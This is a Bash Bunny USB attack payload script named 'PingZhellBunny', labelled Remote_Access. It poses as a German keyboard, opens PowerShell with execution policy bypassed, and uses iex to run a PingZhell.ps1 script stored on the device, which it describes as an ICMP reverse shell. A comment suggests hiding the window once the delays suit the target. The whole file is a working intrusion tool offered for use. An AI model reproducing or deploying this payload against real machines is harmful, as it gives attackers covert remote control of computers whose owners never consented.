#!/bin/bash
#
# Title:         PingZhellBunny
# Description:   Get remote access using a icmp reverse shell.
# Author:        0iphor13
# Version:       1.3
# Category:      Remote_Access
# Attackmodes:   HID, Storage

LED SETUP

Q DELAY 500

GET SWITCH_POSITION
DUCKY_LANG de

Q DELAY 500

ATTACKMODE HID STORAGE

#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING

LED STAGE1

#After you have adapted the delays for your target, add "-W hidden"
Q DELAY 1500
RUN WIN "powershell -Exec Bypass -NoP -NonI"
Q DELAY 500
Q ENTER

Q DELAY 1000
Q STRING "iex((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\PingZhell.ps1')"
Q DELAY 3000
Q ENTER
Q DELAY 1000

ATTACKMODE HID

LED FINISH
